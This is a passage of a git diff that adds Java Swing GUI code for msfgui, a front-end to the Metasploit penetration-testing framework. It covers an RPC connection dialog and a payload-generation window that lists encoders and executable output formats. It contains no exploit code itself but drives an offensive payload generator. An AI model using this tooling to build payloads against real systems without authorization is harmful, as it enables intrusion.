hostField.setText(resourceMap.getString("hostField.text")); // NOI18N + hostField.setName("hostField"); // NOI18N + hostField.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + hostFieldActionPerformed(evt); + } + }); + + portField.setText(resourceMap.getString("portField.text")); // NOI18N + portField.setName("portField"); // NOI18N + portField.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + portFieldActionPerformed(evt); + } + }); + + connectButton.setFont(connectButton.getFont()); + connectButton.setText(resourceMap.getString("connectButton.text")); // NOI18N + connectButton.setName("connectButton"); // NOI18N + connectButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + connectButtonActionPerformed(evt); + } + }); + + cancelButton.setFont(cancelButton.getFont()); + cancelButton.setText(resourceMap.getString("cancelButton.text")); // NOI18N + cancelButton.setName("cancelButton"); // NOI18N + cancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + cancelButtonActionPerformed(evt); + } + }); + + startNewButton.setFont(startNewButton.getFont().deriveFont(startNewButton.getFont().getStyle() | java.awt.Font.BOLD)); + startNewButton.setText(resourceMap.getString("startNewButton.text")); // NOI18N + startNewButton.setName("startNewButton"); // NOI18N + startNewButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + startNewButtonActionPerformed(evt); + } + }); + + pathButton.setText(resourceMap.getString("pathButton.text")); // NOI18N + pathButton.setName("pathButton"); // NOI18N + pathButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + pathButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(titleLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGap(6, 6, 6) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(hostLabel) + .addComponent(passwordLabel) + .addComponent(portLabel))) + .addComponent(usernameLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 67, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(usernameField, javax.swing.GroupLayout.DEFAULT_SIZE, 431, Short.MAX_VALUE) + .addComponent(hostField, javax.swing.GroupLayout.DEFAULT_SIZE, 431, Short.MAX_VALUE) + .addComponent(passwordField, javax.swing.GroupLayout.DEFAULT_SIZE, 431, Short.MAX_VALUE) + .addComponent(portField, javax.swing.GroupLayout.DEFAULT_SIZE, 431, Short.MAX_VALUE))) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(startNewButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(pathButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 81, Short.MAX_VALUE) + .addComponent(cancelButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(connectButton))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(titleLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(usernameLabel) + .addComponent(usernameField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(passwordField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(passwordLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(hostLabel) + .addComponent(hostField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(portField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(portLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(startNewButton, javax.swing.GroupLayout.DEFAULT_SIZE, 37, Short.MAX_VALUE) + .addComponent(pathButton, javax.swing.GroupLayout.PREFERRED_SIZE, 36, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(connectButton, javax.swing.GroupLayout.DEFAULT_SIZE, 37, Short.MAX_VALUE) + .addComponent(cancelButton, javax.swing.GroupLayout.DEFAULT_SIZE, 37, Short.MAX_VALUE))) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void connectButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_connectButtonActionPerformed + String username = usernameField.getText(); + char[] password = passwordField.getPassword(); + String host = hostField.getText(); + int port = Integer.parseInt(portField.getText()); + try { + rpcConn = new RpcConnection(username, password, host, port); + } catch (MsfException mex) { + rpcConn = null; + } + this.setVisible(false); + }//GEN-LAST:event_connectButtonActionPerformed + + private void cancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_cancelButtonActionPerformed + rpcConn = null; + this.setVisible(false); + }//GEN-LAST:event_cancelButtonActionPerformed + + private void usernameFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_usernameFieldActionPerformed + connectButtonActionPerformed(evt); + }//GEN-LAST:event_usernameFieldActionPerformed + + private void passwordFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_passwordFieldActionPerformed + connectButtonActionPerformed(evt); + }//GEN-LAST:event_passwordFieldActionPerformed + + private void hostFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_hostFieldActionPerformed + connectButtonActionPerformed(evt); + }//GEN-LAST:event_hostFieldActionPerformed + + private void portFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_portFieldActionPerformed + connectButtonActionPerformed(evt); + }//GEN-LAST:event_portFieldActionPerformed + + private void startNewButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_startNewButtonActionPerformed + //Setup defaults + RpcConnection.defaultUser = this.usernameField.getText(); + if(this.passwordField.getPassword().length > 0) + RpcConnection.defaultPass = new String(this.passwordField.getPassword()); + //do the action. There's probably a "right" way to do this. Oh well. + mainframe.getContext().getActionMap(mainframe).get("startRpc").actionPerformed(new java.awt.event.ActionEvent(startNewButton,1234,"")); + this.setVisible(false); + }//GEN-LAST:event_startNewButtonActionPerformed + + private void pathButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_pathButtonActionPerformed + File dir =new File("/opt/metasploit3/msf3/"); + if(dir.isDirectory()) + MsfguiApp.fileChooser.setCurrentDirectory(dir); + dir =new File(MsfguiApp.getPropertiesNode().getAttribute("commandPrefix")); + if(dir.isDirectory()) + MsfguiApp.fileChooser.setCurrentDirectory(dir); + if (MsfguiApp.fileChooser.showOpenDialog(this) != JFileChooser.APPROVE_OPTION) + return; + MsfguiApp.getPropertiesNode().setAttribute("commandPrefix", + MsfguiApp.fileChooser.getCurrentDirectory().getPath()+File.separator); + JOptionPane.showMessageDialog(this, "Will now try running \n" + +MsfguiApp.getPropertiesNode().getAttribute("commandPrefix")+"msfrpcd\n" + +"and "+ MsfguiApp.getPropertiesNode().getAttribute("commandPrefix")+"ruby /msf3/msfrpcd\n" + + "when starting new daemon. Note: for the second to work on Windows,\n" + + "use something like Framework3\\bin not Framework3\\msf3"); + }//GEN-LAST:event_pathButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton cancelButton; + private javax.swing.JButton connectButton; + private javax.swing.JTextField hostField; + private javax.swing.JLabel hostLabel; + private javax.swing.JPasswordField passwordField; + private javax.swing.JLabel passwordLabel; + private javax.swing.JButton pathButton; + private javax.swing.JTextField portField; + private javax.swing.JLabel portLabel; + private javax.swing.JButton startNewButton; + private javax.swing.JLabel titleLabel; + private javax.swing.JTextField usernameField; + private javax.swing.JLabel usernameLabel; + // End of variables declaration//GEN-END:variables +} diff --git a/external/source/gui/msfguijava/src/msfgui/OptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/OptionsDialog.form new file mode 100644 index 0000000000..988a2015ce --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/OptionsDialog.form @@ -0,0 +1,25 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/OptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/OptionsDialog.java new file mode 100644 index 0000000000..14b9b0b5d3 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/OptionsDialog.java @@ -0,0 +1,45 @@ +package msfgui; + +/** + * + * @author scriptjunkie + */ +public class OptionsDialog extends javax.swing.JDialog { + + protected String command; + + //Opens dialog to get options + public String getCommand(){ + setVisible(true); + return command; + } + public String toString(){ + return getCommand(); + } + + /** Creates new form OptionsDialog */ + public OptionsDialog(java.awt.Frame parent, String title, boolean modal) { + super(parent, title, modal); + command = null; + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance( + msfgui.MsfguiApp.class).getContext().getResourceMap(ModulePopup.class); + this.setIconImage(resourceMap.getImageIcon("main.icon").getImage()); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + getContentPane().setLayout(null); + }// //GEN-END:initComponents + + // Variables declaration - do not modify//GEN-BEGIN:variables + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/PayloadPopup.form b/external/source/gui/msfguijava/src/msfgui/PayloadPopup.form new file mode 100644 index 0000000000..01fec786b8 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/PayloadPopup.form @@ -0,0 +1,399 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/PayloadPopup.java b/external/source/gui/msfguijava/src/msfgui/PayloadPopup.java new file mode 100644 index 0000000000..5957dbf901 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/PayloadPopup.java @@ -0,0 +1,688 @@ +/* + * PayloadPopup.java + * + * Created on May 16, 2010, 12:17:16 AM + */ +package msfgui; + +import java.awt.Component; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; +import java.util.ArrayList; +import javax.swing.DefaultComboBoxModel; +import javax.swing.GroupLayout; +import javax.swing.GroupLayout.ParallelGroup; +import javax.swing.GroupLayout.SequentialGroup; +import javax.swing.JFileChooser; +import javax.swing.JLabel; +import javax.swing.JOptionPane; +import javax.swing.JTextField; + +/** + * + * @author scriptjunkie + */ +public class PayloadPopup extends MsfFrame { + private RpcConnection rpcConn; + private ArrayList elementVector; + private String fullName; + private MainFrame mainFrame; + + /** Creates new form PayloadPopup */ + public PayloadPopup(String fullName, RpcConnection rpcConn, MainFrame frame) { + mainFrame = frame; + initComponents(); + outputPathField.setText(MsfguiApp.getTempFolder()+File.separator+"msf.exe"); + this.rpcConn = rpcConn; + elementVector = new ArrayList(); + this.fullName = fullName; + showOptions(fullName); + + //get encoders + try{ + Object[] encoders = (Object[])((Map) rpcConn.execute("module.encoders")).get("modules"); + int defaultEncoder = 0; + for(int i = 0; i < encoders.length; i++) + if(encoders[i].toString().equals("generic/none")) + defaultEncoder = i; + encoderCombo.setModel(new DefaultComboBoxModel(encoders)); + encoderCombo.setSelectedIndex(defaultEncoder); + }catch(MsfException xre){ + } + setSize(800, 700); + } + + /** Resets group layout displaying appropriate elements */ + private void resetLayout(){ + boolean saving = saveButton.isSelected(); + outputScrollPane.setVisible(!saving); + archField.setVisible(saving); + archLabel.setVisible(saving); + choosePathButton.setVisible(saving); + encoderCombo.setVisible(saving); + encoderLabel.setVisible(saving); + outputCombo.setVisible(saving); + outputLabel.setVisible(saving); + outputPathField.setVisible(saving); + outputPathLabel.setVisible(saving); + templateButton.setVisible(saving); + templateField.setVisible(saving); + templateLabel.setVisible(saving); + templateWorkingCheck.setVisible(saving); + timesField.setVisible(saving); + timesLabel.setVisible(saving); + + GroupLayout mainPanelLayout = (GroupLayout)mainPanel.getLayout(); + //HORIZONTAL GROUPING + ParallelGroup labelGroup = mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING); + //make label group + for(int i = 0; i < elementVector.size(); i++) + labelGroup = labelGroup.addComponent(((Component[])elementVector.get(i))[0]); + //make text box group + ParallelGroup textBoxGroup = mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING); + for(int i = 0; i < elementVector.size(); i++) + textBoxGroup = textBoxGroup.addComponent(((Component[])elementVector.get(i))[1]); + //put it together + mainPanelLayout.setHorizontalGroup( + mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(mainPanelLayout.createSequentialGroup() + .addContainerGap() + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(titleLabel) + .addComponent(descriptionLabel) + .addComponent(authorsLabel) + .addComponent(licenseLabel) + .addComponent(versionLabel) + .addGroup(mainPanelLayout.createSequentialGroup() + .addGroup(labelGroup) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(textBoxGroup) + .addContainerGap()) + .addGroup(mainPanelLayout.createSequentialGroup() + .addComponent(generateButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(displayButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(saveButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(handleButton)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup() + .addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 40, Short.MAX_VALUE) + .addContainerGap()) + .addGroup(mainPanelLayout.createSequentialGroup() + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(encoderLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(outputLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(archLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(timesLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(outputPathLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(templateLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(encoderCombo, 0, 188, Short.MAX_VALUE) + .addComponent(outputCombo, 0, 188, Short.MAX_VALUE) + .addComponent(archField, javax.swing.GroupLayout.DEFAULT_SIZE, 188, Short.MAX_VALUE) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup() + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(templateField, javax.swing.GroupLayout.DEFAULT_SIZE, 110, Short.MAX_VALUE) + .addComponent(outputPathField, javax.swing.GroupLayout.DEFAULT_SIZE, 110, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(templateButton) + .addComponent(choosePathButton))) + .addComponent(timesField, javax.swing.GroupLayout.DEFAULT_SIZE, 188, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(templateWorkingCheck))) + .addContainerGap())); + + //VERTICAL GROUPING + SequentialGroup groupie = mainPanelLayout.createSequentialGroup(). + addComponent(titleLabel). + addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED). + addComponent(descriptionLabel). + addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED). + addComponent(authorsLabel). + addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED). + addComponent(licenseLabel). + addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED). + addComponent(versionLabel); + for(int i = 0; i < elementVector.size(); i++){ + groupie = groupie.addGroup(mainPanelLayout.createParallelGroup( + javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(((Component[])elementVector.get(i))[0]) //LABEL + .addComponent(((Component[])elementVector.get(i))[1], //TEXT BOX + javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, + javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED); + } + groupie = groupie + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(generateButton) + .addComponent(displayButton) + .addComponent(saveButton) + .addComponent(handleButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 30, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(outputPathLabel) + .addComponent(outputPathField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(choosePathButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(encoderLabel) + .addComponent(encoderCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(outputLabel) + .addComponent(outputCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(timesLabel) + .addComponent(timesField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(archLabel) + .addComponent(archField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(templateLabel) + .addComponent(templateField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(templateButton) + .addComponent(templateWorkingCheck)) + .addContainerGap(); + mainPanelLayout.setVerticalGroup(mainPanelLayout.createParallelGroup( + javax.swing.GroupLayout.Alignment.LEADING).addGroup(groupie)); + } + /** Displays payload info and options. */ + private void showOptions(String fullName) { + try { + Map info = (Map) rpcConn.execute("module.info", new Object[]{"payload", fullName}); + //Basic info + setTitle(info.get("name") + " " + fullName); + titleLabel.setText("

"+info.get("name")+ "

"); + //wrapLabelText(descriptionLabel, info.get("description").toString().replace("\n", " ")); + descriptionLabel.setText(info.get("description").toString().replace("\n", " ")); + if(info.get("license") instanceof String){ + licenseLabel.setText("License: "+ info.get("license")+""); + }else{ + Object [] license = (Object[]) info.get("license"); + StringBuilder licenseString = new StringBuilder(); + for(int i = 0; i < license.length; i++) + licenseString.append(license[i]+" "); + licenseLabel.setText("License: "+ licenseString+""); + } + versionLabel.setText("Version: "+ info.get("version")+""); + //Authors + Object[] authors = (Object[]) info.get("authors"); + StringBuilder authorLine = new StringBuilder(); + if (authors.length > 0) + authorLine.append(authors[0].toString()); + for (int i = 1; i < authors.length; i++) + authorLine.append(", " + authors[i]); + authorsLabel.setText("Authors: "+ authorLine.toString()+""); + + //display options + Map options = (Map) rpcConn.execute("module.options", new Object[]{"payload", fullName}); + for (Object optionName : options.keySet()) + addOption(optionName, (Map)options.get(optionName)); + resetLayout(); + } catch (MsfException ex) { + JOptionPane.showMessageDialog(rootPane, ex); + } + } + + private void addOption(Object optionName, Map option) { + JLabel lab = new JLabel(); + mainPanel.add(lab); + lab.setText(optionName + " " + option.get("desc")); + lab.setName(optionName.toString()); + JTextField optionField = new JTextField(); + if (option.get("default") != null) + optionField.setText(option.get("default").toString()); + else if (optionName.equals("LHOST")) + optionField.setText(MsfguiApp.getLocalIp()); + optionField.setName("field" + optionName); + mainPanel.add(optionField); + elementVector.add(new Component[]{lab,optionField}); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + buttonGroup1 = new javax.swing.ButtonGroup(); + jScrollPane1 = new javax.swing.JScrollPane(); + mainPanel = new javax.swing.JPanel(); + timesField = new javax.swing.JTextField(); + encoderCombo = new javax.swing.JComboBox(); + outputCombo = new javax.swing.JComboBox(); + templateButton = new javax.swing.JButton(); + templateWorkingCheck = new javax.swing.JCheckBox(); + archLabel = new javax.swing.JLabel(); + outputLabel = new javax.swing.JLabel(); + timesLabel = new javax.swing.JLabel(); + archField = new javax.swing.JTextField(); + descriptionLabel = new javax.swing.JLabel(); + titleLabel = new javax.swing.JLabel(); + encoderLabel = new javax.swing.JLabel(); + generateButton = new javax.swing.JButton(); + versionLabel = new javax.swing.JLabel(); + licenseLabel = new javax.swing.JLabel(); + authorsLabel = new javax.swing.JLabel(); + outputScrollPane = new javax.swing.JScrollPane(); + outputPane = new javax.swing.JTextArea(); + displayButton = new javax.swing.JRadioButton(); + saveButton = new javax.swing.JRadioButton(); + outputPathLabel = new javax.swing.JLabel(); + outputPathField = new javax.swing.JTextField(); + choosePathButton = new javax.swing.JButton(); + templateLabel = new javax.swing.JLabel(); + templateField = new javax.swing.JTextField(); + handleButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + setName("Form"); // NOI18N + + jScrollPane1.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + jScrollPane1.setName("jScrollPane1"); // NOI18N + + mainPanel.setName("mainPanel"); // NOI18N + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(PayloadPopup.class); + timesField.setText(resourceMap.getString("timesField.text")); // NOI18N + timesField.setName("timesField"); // NOI18N + + encoderCombo.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Item 1", "Item 2", "Item 3", "Item 4" })); + encoderCombo.setName("encoderCombo"); // NOI18N + + outputCombo.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "c", "elf", "exe", "java", "js_le", "js_be", "perl", "raw", "ruby", "vba", "vbs", "loop-vbs", "asp", "war", "macho" })); + outputCombo.setSelectedIndex(2); + outputCombo.setName("outputCombo"); // NOI18N + + templateButton.setText(resourceMap.getString("templateButton.text")); // NOI18N + templateButton.setName("templateButton"); // NOI18N + templateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + templateButtonActionPerformed(evt); + } + }); + + templateWorkingCheck.setText(resourceMap.getString("templateWorkingCheck.text")); // NOI18N + templateWorkingCheck.setName("templateWorkingCheck"); // NOI18N + + archLabel.setText(resourceMap.getString("archLabel.text")); // NOI18N + archLabel.setName("archLabel"); // NOI18N + + outputLabel.setText(resourceMap.getString("outputLabel.text")); // NOI18N + outputLabel.setName("outputLabel"); // NOI18N + + timesLabel.setText(resourceMap.getString("timesLabel.text")); // NOI18N + timesLabel.setName("timesLabel"); // NOI18N + + archField.setText(resourceMap.getString("archField.text")); // NOI18N + archField.setName("archField"); // NOI18N + + descriptionLabel.setText(resourceMap.getString("descriptionLabel.text")); // NOI18N + descriptionLabel.setName("descriptionLabel"); // NOI18N + + titleLabel.setText(resourceMap.getString("titleLabel.text")); // NOI18N + titleLabel.setName("titleLabel"); // NOI18N + + encoderLabel.setText(resourceMap.getString("encoderLabel.text")); // NOI18N + encoderLabel.setName("encoderLabel"); // NOI18N + + generateButton.setText(resourceMap.getString("generateButton.text")); // NOI18N + generateButton.setName("generateButton"); // NOI18N + generateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + generateButtonActionPerformed(evt); + } + }); + + versionLabel.setText(resourceMap.getString("versionLabel.text")); // NOI18N + versionLabel.setName("versionLabel"); // NOI18N + + licenseLabel.setText(resourceMap.getString("licenseLabel.text")); // NOI18N + licenseLabel.setName("licenseLabel"); // NOI18N + + authorsLabel.setText(resourceMap.getString("authorsLabel.text")); // NOI18N + authorsLabel.setName("authorsLabel"); // NOI18N + + outputScrollPane.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + outputScrollPane.setName("outputScrollPane"); // NOI18N + + outputPane.setColumns(20); + outputPane.setEditable(false); + outputPane.setLineWrap(true); + outputPane.setName("outputPane"); // NOI18N + outputScrollPane.setViewportView(outputPane); + + buttonGroup1.add(displayButton); + displayButton.setSelected(true); + displayButton.setText(resourceMap.getString("displayButton.text")); // NOI18N + displayButton.setName("displayButton"); // NOI18N + displayButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + displayButtonActionPerformed(evt); + } + }); + + buttonGroup1.add(saveButton); + saveButton.setText(resourceMap.getString("saveButton.text")); // NOI18N + saveButton.setName("saveButton"); // NOI18N + saveButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + saveButtonActionPerformed(evt); + } + }); + + outputPathLabel.setText(resourceMap.getString("outputPathLabel.text")); // NOI18N 